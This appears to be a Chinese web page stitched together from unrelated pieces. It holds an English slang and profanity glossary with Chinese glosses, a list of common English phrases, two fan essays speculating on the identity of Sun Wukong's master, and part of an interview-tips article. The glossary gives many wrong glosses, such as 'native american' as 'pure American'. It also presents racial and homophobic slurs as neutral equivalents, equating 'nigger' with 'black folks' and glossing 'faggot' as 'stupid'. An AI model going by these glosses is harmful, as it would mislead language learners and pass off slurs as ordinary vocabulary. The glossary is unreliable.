      gosh = god 上帝呀!我的天呀!!!
      I dont give a shit! 我不在乎
      i dont give a fuck! 我不在乎
      smart 聪明。不用clever
      got disconnected 掉线拉!
      got kicked 被踢拉!
      got power outage 停电拉!
      awesome 另人竟为的
      take drug = do drug 吸毒
      do weed = smoke 吸烟。
      get high 过瘾的感觉
      lets get high 性
      whats your number 这用法我只见过一次。你多大拉?
      bi 对两性都感性去的 。
      goo bi bitch 多情的对两性都感性去的婊 子
      porn 黄色的
      blue 黄色
      fuck that! = fuck that shit 去他的吧!
      jack off 手
      do you do weed? = do you smoke 吸烟吗?
      dont be so sure about yourself 别太自信!
      dont be so sure about that 别太肯定
      homo 同性恋的
      homo sexual 同性恋的
      homo fuck =fucking homo 同性恋混
      mind your own business 别管闲事
      none of your business 没你的事;别管闲事
      thats a little stronge 有点重了。(a: fuck you bitch! b:thats a little stronge I think) a:我XXXX婊 子!b:骂的有点重了吧)
      hell yeah! 可不是!太对拉!
      I do whatever I like 我干我想干的
      zip it 闭嘴
      you wanna fight? 想吵架?
      you wanna row about that? 想吵架?
      you are so mean 你太没意思拉
      dont be mean about that 别太没意思了啊
      go ahead 可以
      cell phone 手机
      gal = girl
      guy = boy
      pee 尿尿
      shit 拉屎
      toilet 马桶
      laptop 笔记本电脑
      oops 哎幼
      oops I farted again 呀!我又放了个屁
      whats your connection 问你是用56K上网还是用宽带
      hows your day 今天怎么样?
      whore 妓 女
      hookshop 妓院
      tit 奶
      belly button 肚脐眼
      fine 好。有时表示不满。 你可以!
      cause ,because, cuz 因为
      Im done 我完拉! 或。作某事做完拉
      I made it.I did it 我成功拉
      dont fool me 别耍我
      dont lie to me 别给我说谎
      crap up 废话(im craping up)我在废话
      my treat 我请客
      I cant believe it 不感相信
      hold on 等会儿
      brb , be right back 马上回来
      Im crazy about her 她使我疯狂。表示你喜欢她。
      she makes me sick 她使我恶心
      native american 纯美国人
      what about it 。。。。怎么样?(a:I've got a new CD.b:what about it?)A: 我又弄拉一盘CD 。B:那CD怎么样?
      huh 有点象(是吧) so you 've got a new CD huh? 你买了一盘CD 是吧!
      huh??? 什么?(单独用的)
      kiddie 小孩儿
      doggie style 象狗一样的方式。
      son 小孩儿
      sonny 小孩儿
      loser 笨蛋
      incompetent loser 无能的笨蛋
      okie dokie , oky doky = ok
      punk 废物
      wanker 手淫者
      that isnt funny 不可笑, 不怪
      dont get funny with me 别无理
      where are you located? 你在哪?
      where is china situated? 中国在那?
      moron 笨蛋
      stupid 笨蛋
      a stream of cuss 一顿骂
      a stream of abuse 一顿骂
      dont get smart with me 别耍花样
      dont fuck with me 别他吗的捣乱
      suck up to somebody 拍马屁
      darn d*amn 的婉转行试
      what does that mean? 什么意思?
      whats your problem? 你怎么了你?(用于指责)
      come on 快,来嘛~~,别那样了,
      come on man 来呗!
      lmaf , laugh my ass off 非常可笑
      ridiculous 可笑的(贬义词)
      go to bed! 滚开!
      dumbass 笨蛋
      stick my foot right up your ass 踢你的屁股,揍你。
      why did you put on this nickname? (why you put on this namenick?) 为什么用这个名字呢?(不是指你的真名,是聊天时的 user name)
      jackass 蠢货
      hold the(your) breath 等等(是让你先闭嘴的意思)
      pants 裤子
      mall 超市 = supermarket
      an awesome big promise 很大的诺言
      thats your problem 那时你的事,是你自己的问题
      how in the world can he do it to me 他怎么能这样对我呢!
      I have to think about it 我得考liu 考 liu
      so so 一般
      Im too little = Im too young 我太小拉
      so 那么,那,所以
      fuck up ...被搞杂拉,不管用拉,...不好看(my computer is fucked up) 我的电脑坏拉,不运行拉。you've got a fucked up ass.你的屁股不好看。fuck you up 让你吃不消
      get a flat tyre 车轮跑气
      bite me 狠我把。(用得意的语气)
      weird 怪的
      just chilling(just chillin') 休息 (用于回答或解释)
      pimp 恶棍。
      the other day 前几天
      can you handle this? 你行吗?
      get into such a mess 这么不幸(指遇到了困难的事)
      such a dick 混蛋
      show 节目
      are you going to the movies? 你打算去看电影吗?
      album 专集
      evil 特别坏的。evil man 坏人
      you dont have to say nothing 不需要说什么
      you aint nothing 你什么也不是
      aint = arent
      he runs a candy store 他开了一个糖果店
      candy 糖。。。不要用sweet
      badass 坏蛋
      you are sweet 你真好
      you are such a sweetie 你真是个甜心儿
      do me a favour 帮帮忙
      I've got a favour for you to do 要你帮个忙
      boot you off 把你踢出聊天室
      chatroom 聊天室 ,不是chatting room啊
      booter 踢人者
      Im a badass 我是个坏人
      get beat up 挨了一顿打,被打了
      hang out 出外玩儿
      hang out with 与...出去玩
      its up to you 看你了
      it depends 那要看看了。
      son of a bitch 婊 子养的
      I have no clue,I dont know,I have no Idea 不知道
      注意回答别人的 thanks 时用No Problem.或welcome, you are welcome. (你替我揍了x一顿,然后我说thanks,你答No problem.)(我借了你钱,你说thanks,我说welcome.) 出了力后回答谢谢用no problem.
      do I know you? = do I have the pleasure of knowing you? 我认识你吗?
      you have a nice attitude huh 你架子摆的不错呀
      watch your language! 注意你的语言!
      watch it! 注意!
      look! = hey 嘿!
      that makes me feel sleepy 那东西让我想睡觉。
      black folks =nigger 黑人 ,用black people 也行
      white folks 白人 , 用white people 也行
      黄种人不能说 yellow folks 说 chinese就可以拉
      gotta go do something 要去干某事拉
      that is my fine girl 那是我漂亮的女友
      she is fine. 她很好看
      she is fine. 她身体很好,或人品不错
      cant take it 招架不住,受不了
      freak =weird 怪的。
      freaky boy 怪男孩
      pop up 突然弹出的东西,网夜等自动弹出的动作,或指弹出的网叶
      hook up hook up the mic 插上麦克风 hook up some tickets for somebody 给....免费准备一些票.
      computer freak 非常喜欢电脑得人,精通电脑得人
      dumbass = stupid
      sorry ass 可怜人
      shoot 说吧
      she's real cute 她真的很可爱,,与really cute 不一样
      faggot = stupid = fag
      fag = gay 同性恋的人
      dont be like a kid 别向小孩一样
      grow up 别向小孩一样
      PM 下午 从中午12到晚上12
      AM 上午 从午夜12点到中午12
      be off 走开
      be quick 快!
      hurry 快!
      hurry up 快!

      LOVELY ENGLISH------美国人日常生活中常用的五星级句子
      1. After you. 你先请。
      这是一句很常用的客套话,在进/出门,上车得场合你都可以表现一下。

      2. I just couldn’t help it. 我就是忍不住。
      想想看,这样一个漂亮的句子可用于多少个场合?
      下面是随意举的一个例子:
      I was deeply moved by the film and I cried and cried. I just couldn’t help it.

      3. Don’t take it to heart. 别往心里去,别为此而忧虑伤神。
      生活实例:
      This test isn’t that important. Don’t take it to heart.

      4. We’d better be off. 我们该走了。
      It’s getting late. We’d better be off .

      5. Let’s face it. 面对现实吧。
      常表明说话人不愿意逃避困难的现状。
      参考例句:I know it’s a difficult situation. Let’s face it, OK?

      6. Let’s get started. 咱们开始干吧。
      劝导别人时说:Don’t just talk. Let’s get started.

      7. I’m really dead. 我真要累死了。
      坦诚自己的感受时说:After all that work, I’m really dead.

      8. I’ve done my best. 我已尽力了。

      9. Is that so? 真是那样吗?
      常用在一个人听了一件事后表示惊讶、怀疑。

      10. Don’t play games with me!别跟我耍花招!

      11. I don’t know for sure.我不确切知道。
      Stranger: Could you tell me how to get to the town hall?
      Tom: I don’t know for sure. Maybe you could ask the policeman over there.

      12. I’m not going to kid you.我不是跟你开玩笑的。
      Karin: You quit the job? You are kidding.
      Jack: I’m not going to kid you. I’m serious.

      13. That’s something. 太好了,太棒了。
      A: I’m granted a full scholarship for this semester.
      B: Congratulations. That’s something.

      14. Brilliant idea!这主意真棒!这主意真高明!

      15. Do you really mean it? 此话当真?
      Michael:Whenever you are short of money, just come to me.
      David: Do you really mean it?

      16. You are a great help.你帮了大忙

      17. I couldn’t be more sure. 我再也肯定不过。

      18. I am behind you.我支持你。
      A: Whatever decision you’re going to make, I am behind you.

      19. I’m broke.我身无分文。

      20. Mind you!请注意!听着!(也可仅用Mind。)
      模范例句:Mind you! He’s a very nice fellow though bad-tempered.

      21. You can count on it.你尽管相信好了,尽管放心。
      A:Do you think he will come to my birthday party?
      B: You can count on it.

      22. I never liked it anyway.我一直不太喜欢这东西。
      当朋友或同事不小心摔坏你的东西时就可以用上这句话给他一个台阶,打破尴尬局面:Oh, don’t worry. I’m thinking of buying a new one. I never liked it anyway.

      23. That depends.看情况再说。
      例:I may go to the airport to meet her. But that depends.
       Congratulations.恭喜你,祝贺你。

      24. Thanks anyway.无论如何我还是得谢谢你。
      当别人尽力要帮助你却没帮成时,你就可以用这个短语表示谢意。

      25. It’s a deal.一言为定
      Harry: Haven’t seen you for ages. Let’s have a get-together next week.
      Jenny: It’s a deal

      孙悟空的师父是谁猜测之二

      一.《西游记》和《封神演义》联系密切
        
        提起明朝著作《西游记》和《封神演义》,我想你一定不会陌生。从两部作品中派生出来的《孙悟空大闹天宫》、《哪吒闹海》等神话就更是家喻户晓,人人皆知了。两部小说虽然讲述的是不同朝代的故事,可是里面的人物却有千丝万缕的联系。你比如李靖、哪吒、木吒、杨戬等人在两部书中都有体现。而《封神演义》中的文殊广法天尊、普贤真人、慈航道人、燃灯道人经过若干年后,修成了正身,加入了佛教。后来分别成为了文殊菩萨、普贤菩萨、观音菩萨和燃灯上古佛。这些人物也在《西游记》中出现过。可见,两部作品关联之紧密。
        
        二.《西游记》和《封神演义》中厉害人物简介
        
        1.《西游记》二巨头
        
        a.如来佛祖 
        如来佛祖,是西方极乐世界释迦牟尼尊者,南无阿弥陀佛。在西牛贺洲天竺灵山鹫峰顶上修得六丈金身。此人神通广大,法力无边。刚一出场便化解了天庭大难。后又多次显露身手,帮着悟空破了重重磨难。堪称《西游记》中的巨无霸。
        
        b.菩提祖师
        菩提祖师,乃是海外老仙。他隐居深山,不露头脚。虽法力无边,却是无人知晓。这位大仙只用了三年功夫就使孙悟空学会了长生不老术,七十二变和筋斗云的本领。这对悟空今后大闹天宫的,以至最后成佛奠定了良好的基础。可见菩提祖师绝非等闲之辈。
        
        2.《封神演义》五教主
        
        a.老子
        即太上老君。他是鸿钧老祖的大弟子,掌管人教。曾三次下山帮助阐教力退截教众仙。也曾一气化三清,战败过通天教主。《西游记》中,他住在离恨天中,是三清教教主之一的太清圣地混元教祖——太上道祖,也称太上老君。
        
        b.元始天尊
        元始天尊是鸿钧老祖的二徒弟,掌管阐教。他的弟子很多,其中不乏有名之士。像佛教中的文殊、普贤、观音三位菩萨,以及“过去七佛”中的惧留孙佛都曾是他的门人弟子。而杨戬、哪吒、李靖等人都是他的徒孙。后来他成为三清教的主管——《西游记》中的玉清圣地先天教祖。
        
        c.通天教主
        通天教主是鸿钧老祖的三徒弟,掌管截教。他的门人弟子最多,但大多都是在滥竽充数。不过他也为上天做了不少的贡献。像玉帝手下的二十四星宿、雷公电母、普天星相几乎都是他的门人。通天教主听信众弟子的谗言,摆了下“诛仙”、“万仙”二阵,堵住了姜子牙的去路。后来多亏四大教主同心协力才破得此阵。他就是三清教的另一位教主——上清圣地通天教祖灵宝天尊。
        
        d.接引道人
        接引道人是西方教教主,住在西方极乐之乡。此人身高丈六,面皮黄色。长年累月不曾离得清净之所。后来受人之约,三颗舍利取下戮仙门,与老子、元始共破通天恶阵。
        
        e.准提道人
        准提道人是西方教二教主。曾多次来到东土度化有缘人。他比接引更开明,也多次帮助阐教解危难。可以说是二道皆通。他手里的加持神杵和七宝妙树真可谓是法力无边。通天教主曾两次败在准提之手。
        
        三.《西游记》中隐藏着线索
        
        《西游记》里孙悟空的师傅——菩提祖师,是一个世外神仙。由于孙悟空在三星洞里修了7年道,习了3年武就把灵宵宝殿揭了个底掉,因此有很多人对他的师傅普提祖师产生了极大的兴趣。那么此人究竟是谁?在《西游记》中就连一点线索都没有留下吗?答案是否定的。
        
        先让我们看看菩提祖师的住所。菩提祖师隐居在西牛贺洲“灵台方寸山,斜月三星洞”中。“灵台方寸山”取首尾二字就是“灵山”,“斜月三星”乃是天上之物,暗指“天空”。把他们合起来就是:“天上灵山”。而我们知道如来佛祖恰恰就住在西牛贺洲“天竺灵山”的大雷音寺内。这两座山名如此相像,这真的是巧合吗?菩提祖师与如来佛祖会不会有什么关联?
        
        当孙悟空第一次见到菩提祖师时,吴承恩是这样描绘的:“见那菩提祖师端坐在台上,两边有三十个小仙侍立台下。果然是:大觉金仙没垢姿,西方妙相祖菩提;生不灭三三行,全气全神万万慈。”(见《西游记》第一回)。可见,菩提祖师也是西方的一位尊者。而菩提乃是西方佛教的象征。难道这就意味着菩提祖师是佛非道吗?如果他是佛,那他为什么对道教文化了如指掌呢?如果他是道,为什么又有“西方妙相祖菩提”之说呢?
        
        四.《封神演义》寻答案
        
        在《西游记》中,我们无法破解菩提祖师身份之迷。但我们知道《西游记》里的人物是与《封神演义》中的角色是紧密相关的。这一点,我在前面已经说过了。《西游记》里的菩提祖师给人的感觉是佛道一体。而在《封神演义》中恰恰就有一个似佛非佛的道教——西方教的存在。西方教中有两位教主,法力无边神通广大。曾经帮助太上老君和元始天尊大破通天教主布下的“诛仙阵”和“万仙阵”。堪称《封神演义》的两大顶尖高手。他们一位叫做接引道人,一位叫做准提道人。
        
        1.接引道人 VS 如来佛祖
        
        接引道人住在西方极乐之乡,身高丈六,面皮黄色。不禁让人想起了《西游记》中已经修成丈六金身的如来佛祖。两人相貌如此相似,并且都在掌管西方极乐圣地。难道他们是一个人吗?那就让我们看看两位作者对两位角色的描述吧。
        
        a.以下段落截自《封神演义》第七十八回:
        接引道人如准提道人之言,同往东土而来。只见足踏祥云,霎时而至芦篷。广成子来禀老子与元始曰:“西方二位尊师至矣。”老子与元始率领众门人下篷来迎接。见一道人,身高丈六。但见:
         大仙赤脚枣梨香,足踏祥云更异常;
          十二莲台演法宝,八德池边现白光。
          寿同天地言非谬,福比洪波说岂狂;
          修成舍利名胎息,清闲极乐是西方。
        话说老子与元始迎接接引、准提上了芦蓬,打稽首,坐下。
        
        b.再看看《西游记》中第七回对如来的描述:
        只见赤脚大仙又至。向玉帝前俯囟礼毕,又对佛祖谢道:“深感法力,降伏妖猴。无物可以表敬,特具交梨二颗,火枣数枚奉献。”诗曰:
          大仙赤脚枣梨香,敬献弥陀寿算长。
          七宝莲台山样稳,千金花座锦般妆。
          寿同天地言非谬,福比洪波话岂狂。
          福寿如期真个是,清闲极乐那西方。
        如来又称谢了。叫阿傩、迦叶,将各所献之物,一一收起,方向玉帝前谢宴。
        
        c.在《封神演义》里,还有这么一段:
        接引道人顶上现出三颗舍利子,射住了戮仙剑。那剑如钉钉一般,如何下来得。西方教主进了戮仙门,至戮仙阙立住。
        
        诸多因素表明,接引道人就是若干年后建立佛教的如来佛祖。西方教便是佛教的前身。
        
        2.准提道人 VS 菩提祖师
        
        我们再来看看两部作品对另外二人的评价如何:
        
        a.准提道人第一次露面,见《封神演义》第六十一回:
        文殊广法天尊听得脑後有人叫曰:“道兄剑下留人!”广法天尊回顾,认不得此人是谁;头挽双髻,身穿道袍,面黄微须,道人曰:“稽首了!”广法天尊答礼,曰称:“道友何处来,有甚事见谕?”道人曰:“原来道兄认不得我,吾有一律说出,便知端的:
         大觉金仙不二时。西方妙法祖菩提;
         不生不灭三三行,全气全神万万慈。
         空寂自然随变化,真如本性任为之;
         与天同寿庄严体,历劫明心大法师。
        道人曰:“贫道乃西方教下准提道人是也。”
        
        b.菩提祖师首次亮相,见《西游记》第一回:
        见那菩提祖师端坐在台上,两边有三十个小仙侍立台下。果然是:
          大觉金仙没垢姿,西方妙相祖菩提;
          不生不灭三三行,全气全神万万慈。
          空寂自然随变化,真如本性任为之;
        与天同寿庄严体,历劫明心大法师。
        
        《封神演义》中的准提道人是一个开明人事。他多次来再东土度化有缘人。对东方道教颇为了解。而他又是西方教的二教主。对佛学文化自然更是了如指掌。《西游记》中的菩提祖师,似佛似道。名出菩提,身行道家。可见他与西方道教渊源极深。他们一个掌教于西方极乐之乡,一个隐居在西牛贺洲教徒。种种迹象表明,菩提祖师就是准提道人。只是后来西方教并入(或说化成)佛教,接引道人更名为如来佛祖统领佛门弟子,准提道人改名为菩提祖师,退隐山林,修身养性去了。
        
        五.答案揭晓
        
        根据以上二文、四诗的评述,我们可以得出结论。那就是菩提祖师便是准提道人,是如来佛祖的师弟。两人曾经共同执掌西方教。后来如来修成六丈金身,建立佛教,把西方教吞并。菩提祖师也从此隐居山林,将高山命名为“灵台方寸山”,与“天竺灵山”相对。以后自立道观修身养性,除了山中居民,没人知道他的住处。就是那如来,也不知道自己的师弟身在何方。更不知西牛贺洲还有仙人存在。如来曾这样评价西牛贺洲:“我西牛贺洲者,不贪不杀,养气潜灵,虽无上真,人人固寿”(见《西游记》第八回)。可见,同处西牛贺洲的如来,却不知菩提老祖的存在。由此可知,菩提的道行一点都不逊色于如来。甚至可以避开如来的法眼。

      孙悟空的师父是谁猜测之一

          孙悟空是只石猴,很多年后有人说他是这本书的真正主角,其实这是不恰当的,他只是“第一主角”。因为西游的队伍里每个人都是主角,包括龙马。
        
        孙悟空是天产石猴,生于花果山水帘洞,得育明师。修成大道。降龙伏虎强销死籍。一根如意金箍棒,横扫天上地下,高傲刚强,生平从不服人。
        他受业的师父,是一个叫菩提老祖的人。
        我在很久以前写过东西论述过天地五仙的级别和差别。在那里边我曾经有过菩提老祖不如镇元大仙的论调。因为菩提老祖曾经露出口风可杀悟空.他既然居住在地上,又能教出孙悟空这等徒弟,理所当然属于地仙。而镇元是地仙之祖。所以镇元强于菩提更强于悟空这个推理我一直深信不疑。直到不久以前的一个晚上,那天晚上我无聊的翻着西游,忽然间,我想起一个问题:菩提到底是谁?
        
        跟我以前臆断的相反,菩提,也许根本不是地仙!
        
        因为这中间的疑点太多了,而我以前竟然一直没有注意到。
        
        一,悟空学成大道降龙伏虎之后,曾经有过一段“强销死籍”的经历。当时地府的生死簿上明明记载“孙悟空,天产石猴,该寿三百四十二岁,善终。”
        大大的不对!
        因为要知道悟空当时已结拜七兄弟,七兄弟另外六人各个都非善类,从法力神通上说,应该都在伯仲之间。既然悟空可以而且已经强销死籍,那么那六个呢?难道他们六个已经强销死籍过了么?难道地府隔三差五就要被神通广大的妖怪践踏一回?难道地府里根本没有另外六个魔王的档案?
        何况天下间还有更强于七魔兄弟的妖怪!
        
        那么为什么只有孙悟空有这样的遭遇?
        
        从天地五仙的划分来说,天地神人鬼(顺序不可错,央视新西游里那个如来都没搞懂,他老人家说的是天地人神鬼,直接让张三丰超过了玉皇大帝:)。
        以悟空毕业离校之后表现出来的神通,横扫天宫,败李靖哪吒四天王都是真实本领。能横扫神仙界的起码是高一等的地仙界。而当时悟空还没有以身为炉鼎炼丹的能力,他以后的道行积累基本都是靠吃桃子的。所以他也只能是地仙。鉴于他确实打不过地仙之祖镇元大仙,他在地仙界中应该只是中等偏上一点。
        当时悟空既然已有地仙的能力,理应同时拥有地仙的待遇。他另外六个兄弟每个都没有受到地狱的骚扰,应该就是因为他们都已经拥有实际地仙的能力和待遇,哪个鬼仙敢惹他们,不被他们拿去递鼓传更提铃喝号就已经万岁万岁万万岁了……
        
        所以悟空这段相当特殊的遭遇,其实只能说明一个事实:悟空根本不是仙人。从始至终,他根本没能跟仙界建立起真正脉络贯穿的联系。所以,他的师父,菩提老祖,也同样不会是仙人!
        
        ——那么他们到底是什么?
        
        二,照妖镜的问题。
        这个问题曾经困扰了我很长时间。悟空两次公然对抗天宫,两次都对上了托塔李天王,李天王有照妖镜。但前后两次交锋,其中一次还是在二郎神的关照之下,这照妖镜居然一次都没好用过。对悟空不构成任何威胁。当时最后破解悟空变化的方法,是锁了琵琶骨。
         很久以后,悟空与六耳猕猴鏖战,真假难辩。打到天宫,照妖镜第二次出场,在镜子里,看到两个大圣,衣服,金箍,铁棒一模一样,分毫不差!
        
        怪就怪在这里,假使照妖镜对悟空有效的话,镜子里应该只有两个猴子而已……为什么他们在照妖镜面前宛如对着一面普通的镜子,连衣服之类都过滤不掉?……
        
        但还不能就此说照妖镜是一没用的东东,那牛魔王何等了得,与悟空激战一日一夜,斗智斗力,丝毫不落下风。若按这等法力,小哪吒哪里是他的对手?!可是照妖镜一照住元神,老牛就再不能飞腾变化,只能乖乖的做被宰割的菜牛。
        
        为什么相差竟然如此之大?!
        
        某一天我忽然想起哥斯拉,想起红外线跟踪导弹居然打不到那冷血的怪物,顿时豁然开朗。如果,我们假设仙界的各种法宝(当然除去直接打击类的如金箍棒,降魔杵)都是各自定位不同的特制武器,问题一下子就简单了,假如一个人不具备了那法宝攻击所必须的条件,那法宝自然就制不了他。
        
        这个问题比较复杂,因为是主要围绕法宝的,所以举几个封神的例子。大家知道哪吒是莲花化身。莲花没有魂魄,所以哪吒一成型就不惧任何以魂魄为攻击对象的法宝。这一点极大的成就了哪吒,不然,他将沦为与黄天化,韦护伯仲的中庸角色。(要知道连哪吒的师父太乙真人都仍然是存在着魂魄的。)
        
        而杨戬更了得的多。哪吒不惧魂魄类法宝,杨戬相反,他除了魂魄类法宝其他什么也不惧。(当时他只是神仙级的人物,但在全书中他除了只对大教主级宝物如诛戮灭绝剑等因等级太悬殊而不得不逃避之外,其他稍低一点的他师父级别的法宝他通统硬接!闻仲的龙鞭,邓婵玉的五色石,甚至广成子的玉虚至宝翻天印,他一概硬接!我从没见过杨戬被宝物打下马去过。(哪吒N次,黄天化等无数……)
        
        而且杨戬以肉身跟哪吒的莲花身同样有对各种瘟毒免疫的作用。
        在这里要解释一下七十二变。这种法术的有用程度远非我们以前想象的变来变去的那么简单,要知道,既然很多法宝都是靠锁定特定目标而攻击的话,那么,具有极端不稳定性的七十二变,原则上就可以把这些法宝统统躲开——比如,非 典病毒很嚣张,但是一定有它攻不破的堡垒。假如一个会七十二变的人遭到病毒的袭击,他的变化就会自然改变他某些基因,部分变化成对非 典病毒免疫的动物基因(比如说他直接变出非 典疫苗来)……
        
        糊涂了吧?……懂了的举手!好,居然有这么多聪明的人!
        
        七十二变就是这样,绝大多数的法宝都应该对这种神通束手无策。除此之外杨戬还有一门九转元功的功夫,类似于高级铁布衫,金刚不坏,成道以后一般的直接攻击(时髦点叫物理性攻击)可以根本不加理会。
        
        悟空在这两项上的本事大致上跟杨戬差不多。老牛稍弱,有七十二变,可能无九转元功。
        
        我之前说过了,七十二变加九转元功几乎可以抵挡大多数的法宝,除了魂魄性法宝,但,照妖镜是魂魄性,这种制的老牛上天无路入地无门的法宝,偏偏从来没有对原本应该有效的孙悟空产生效果。
        
        为什么?
        
        三,悟空投入唐僧门下,最开始更象一笔交易。唐僧救了他,他保护唐僧取西经。在他的心里,除了感激,可能根本没有正视过他的这个师父。
        然而,几年之后,事情变化了。
        悟空似乎慢慢发现了唐僧,发现了取经的意义,更重要的,发现了自己!
        他开始重视起唐僧了。在平顶山,他对唐僧头上的云霞称赞不绝。在通天河,他对老陈说“我师父管教不死长命。”在无底洞前的喇嘛庙里唐僧一病三天,老孙并知因果。铜台府地灵县遇冤,悟空第一个晚上就是在忍,就是在故意受苦受难,因为他知道,师父有这一劫。
        他无师自通的知道了师父是金蝉子,是如来的第二个门徒。
        
        为什么这些玄奥的东西,他竟然都明白过来了?!
        
        孙悟空向来自诩老孙不知几万岁了。稍微精细一点的人都知道,他在说大话。悟空从生身到成道,到强销死籍的时候三百四十二岁,之后在天宫混了百十年,压在五行山下又五百年,满打满算加起来才一千来岁。这样年纪的妖怪有的是。
        
         悟空拜在菩提老祖座下时,老祖说:“入得我门,为十辈小徒。”他门中排辈是广大智慧真如性海颖悟元觉,悟空是悟字辈。但在之前书中没有对这老祖做一字交代,之后却又无一字补叙。菩提消失的无影无踪,神秘到,就仿佛他一直在那里等了三百余年等待那只竹阀度海的猴子……
        
        他为什么会这么做,他又究竟是谁?……
        
        花果山上的老猴子跟悟空说,世上不死者,唯佛与仙与神圣。
        悟空的成就不止神圣,他长生不死,而前文我们已经论述过他实际上不是仙人,那么他是什么?——答案只剩下一种,他是佛门弟子!
        因为他是实际上的佛门弟子,但在现实中,菩提以道家神通成就悟空的佛门正果。所以,任何地方都没有关于孙悟空的记录。地府照样作为一个过程来抓捕他,而照妖镜也不可能超越仙界锁定一个佛门的弟子!
        
        这就是事实的真相。
        
        孙悟空在西行之前度过了一千余年的时光,让我们做一个假设,就在悟空从仙石中破体飞出的同时,一个婴儿在人间降临,他一出生就是和尚!
        
        这个和尚慢慢长大,衰老,死亡。他的下一世,仍然是和尚!这个人从生到死,从死到生,生生死死死死生生一直在做和尚,他做了九世和尚,轮回到第十世,还是一个和尚。
        
        这个人当了十世和尚,到最后这一世,他在人间已经历劫将近千年,也许是机缘终于巧合的来到他身边,当时是唐朝。当朝的皇帝从千佛万僧之中选他出来,执行一个伟大的任务,取西经!
        
        这个人就是唐僧!
        
        唐僧跟孙悟空,虽然名分上是师徒,但,实际上,他们原本就是一体。那个不敬三宝特立独行的西方不肖弟子。他在千年以前被贬落凡尘,他性格中懦弱儒雅敬信佛法的一面成为唐僧,桀骜不逊啸傲天地的那一面进入仙石成为悟空。菩提为了成就悟空,在人间度过了十世。而唐僧用更漫长的时间,艰难完成了自己的十世求道。悟空跟唐僧,都是十世弟子!他们根本就是一个人善恶的两面。那个人,就是金蝉子!
        
        因为唐僧跟悟空根本就是一体,所以,在取经的十四年里,悟空日渐一日的熟悉唐僧等于熟悉自己,虽然是桀骜不逊,也终于在不知哪个深夜中豁然梦醒。知道了那个令他痛心的事实,我,不是我!从此以后他已经明晰了千年以来的前因后果,即使是在贬谪时期,他也从来没有忘记过跟他一体的师父。他深深的知道唐僧不会死,因为他自己没有死!
        
        以后的过程都只是游戏而已,一种将善恶两极渐渐回炉重铸归为一体的游戏。还记得吗?当灵山大典,悟空跟唐僧并肩站在一起,悟空对唐僧说:“师父,现在我已成佛,跟你一样了……”
        
        此间有真意,试问谁人知。每念如此,有泪如倾。……
        
        前一世,金蝉子在如来的阴影下形成了本不该有的善恶两面。后千年,解铃还需系铃人。金蝉子善的一面自己挣扎着重新皈依佛门,而金蝉子恶的一面,就自然需要一个助力来帮助他完成重新由恶向善的大举。而这过程的头一步就是要教会悟空本领,如此一来,就有了菩提这个人。
        
        悟空叱咤神界没有问题,在天界闹腾的功力应该还差的远。而他居然一无阻挡的就吃到了老君五壶金丹!还被老君在八卦炉里铸炼的金刚不坏。五行八卦循环不息。如果老君存心要杀悟空,只消小做手脚,移动巽宫的位置,风移火生,悟空必然化成焦碳。而实际上,倒象是老君成全了他!
        老君实际上是不喜欢悟空的,这从他以后的话语中可以看的出来,那么又是什么人能够强使他做他自己本不喜欢做的事?
        
        是谁不是仙人却能教出悟空这样的徒弟?是谁能强使老君不得不成就悟空?是谁能够做金蝉子的师父?——
        
        答案已经呼之欲出,菩提老祖,这个我一直以为他是道家仙人的人,其实最大的可能,就是释迦牟尼如来佛本人!
        
        孙悟空跟唐僧也许是西游记里最重要的两个人了,我默默的说,这时候靖岩不再是靖岩而是静言。我在杳无人迹的坛子上独自一人,寂寞的说神论鬼,而实际上我所说的,并非只是神鬼而已……

      外企面试官最爱提的十个问题

      1.请介绍一下你自己。
        这是外企常问的问题。一般人回答这个问题过于平常,只说姓名、年龄、爱好、工作经验,这些在简历上都有,其实,外企最希望知道的是求职者能否胜任工作,包括:最强的技能、最深入研究的知识领域、个性中最积极的部分、做过的最成功的事,主要的成就等,这些都可以和学习无关,也可以和学习有关,但要突出积极的个性和做事的能力,说得合情合理外企才会相信。外企很重视一个人的礼貌,求职者要尊重考官,在回答每个问题之后都说一句“谢谢”。外企喜欢有礼貌的求职者。
        
         2.在学校你最不喜欢的课程是什么?为什么?
        这个问题外企不希望求职者直接回答“数学”、“体育”之类的具体课程,如果直接回答还说明了理由,不仅代表求职者对这个学科不感兴趣,可能还代表将来也会对要完成的某些工作没有兴趣。这个问题外企招聘者最想从求职者口里听到:我可能对个别科目不是特别感兴趣,但是正因为这样,我会花更多的时间去学习这门课程,通过学习对原本不感兴趣的科目也开始有了兴趣,对于本来就有兴趣的科目我自然学习得更认真,所以各门课的成绩较为平衡。通过这样的问题,外企可以找到对任何事情都很感兴趣的求职者。
        
         3.说说你最大的优缺点?
        这个问题外企问的概率很大,通常不希望听到直接回答的缺点是什么等,如果求职者说自己小心眼、爱忌妒人、非常懒、脾气大、工作效率低,外企肯定不会录用你。外企喜欢求职者从自己的优点说起,中间加一些小缺点,最后再把问题转回到优点上,突出优点的部分。外企喜欢聪明的求职者。
        
         4.你认为你在学校属于好学生吗?
        外企的招聘者很精明,问这个问题可以试探出很多问题:如果求职者学习成绩好,就会说:“是的,我的成绩很好,所有的成绩都很优异。当然,判断一个学生是不是好学生有很多标准,在学校期间我认为成绩是重要的,其他方面包括思想道德、实践经验、团队精神、沟通能力也都是很重要的,我在这些方面也做得很好,应该说我是一个全面发展的学生。”如果求职者成绩不尽理想,便会说:“我认为是不是一个好学生的标准是多元化的,我的学习成绩还可以,在其他方面我的表现也很突出,比如我去很多地方实习过,我很喜欢在快节奏和压力下工作,我在学生会组织过××活动,锻炼了我的团队合作精神和组织能力。” 有经验的招聘者一听就会明白,外企喜欢诚实的求职者。
        
         5.说说你的家庭。
        外企面试时询问家庭问题不是非要知道求职者家庭的情况,探究隐私,外企不喜欢探究个人隐私,而是要了解家庭背景对求职者的塑造和影响。外企希望听到的重点也在于家庭对求职者的积极影响。外企最喜欢听到的是:我很爱我的家庭!我的家庭一向很和睦,虽然我的父亲和母亲都是普通人,但是从小,我就看到我父亲起早贪黑,每天工作特别勤劳,他的行动无形中培养了我认真负责的态度和勤劳的精神。我母亲为人善良,对人热情,特别乐于助人,所以在单位人缘很好,她的一言一行也一直在教导我做人的道理。外企相信,和睦的家庭关系对一个人的成长有潜移默化的影响。
        
         6.说说你对行业、技术发展趋势的看法?
        外企对这个问题很感兴趣,只有有备而来的求职者能够过关。求职者可以直接在网上查找对你所申请的行业部门的信息,只有深入了解才能产生独特的见解。外企认为最聪明的求职者是对所面试的公司预先了解很多,包括公司各个部门,发展情况,在面试回答问题的时候可以提到所了解的情况,外企欢迎进入企业的人是“知己”,而不是“盲人”。
